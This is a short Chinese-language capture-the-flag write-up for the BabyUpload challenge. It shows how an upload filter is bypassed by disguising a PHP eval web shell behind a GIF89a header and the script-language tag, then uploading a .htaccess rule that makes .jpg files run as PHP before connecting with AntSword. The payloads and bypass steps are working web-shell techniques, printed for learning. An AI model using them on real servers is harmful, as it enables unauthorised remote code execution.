[GXYCTF2019]BabyUpload
思路:先测试是否对文件名后缀检测
1,上传一个php文件
上传内容:
GIF89a
<?php @eval($_POST["cmd"]);?>
失败:
2,尝试上传其它类型的文件
构造%00截断的.jpg结尾尝试上传:
再次被拦截:
分析:验证了对文件名后缀检测,同时可能存在对内容检测
3,怀疑对php标签内容检测,如?,<>,;,以及php,那就试一试没有<?的一句话:
GIF89a<script language="php">eval($_POST[cmd])</script>
上传:
上传成功,显示存储路径:
分析:文件上传成功了,但是jpg文件无法被当成php解析。
思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。
4,上传构造的.htaccess
文件
内容如下(功能是将.jpeg文件解析为php文件):
AddType application/x-httpd-php .jpg
注意:这里的.htaccess就是文件名,绕过更改文件类似在burp中更改绕过,不要写成.htaccess.jpg文件名,它不会被识别未配置文件。
修改上传改类型为image/jpeg(jpg成功,所以改成了jpeg尝试):
上传成功:
5,antsword连接
网页显示路径:
/var/www/html/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg
分析:
/var/www/html/是网页目录路径
/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg是我们要访问的路径
所以最终访问的路径:
ip/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg
思路:
文件上传考虑->
文件名后缀检测(前端、还是后端检验);
文件内容检测(各种关键字特殊字符);
->两者都做了检测,尝试绕过->上传成功无法被解析->考虑解析漏洞,上传配置文件->解析成功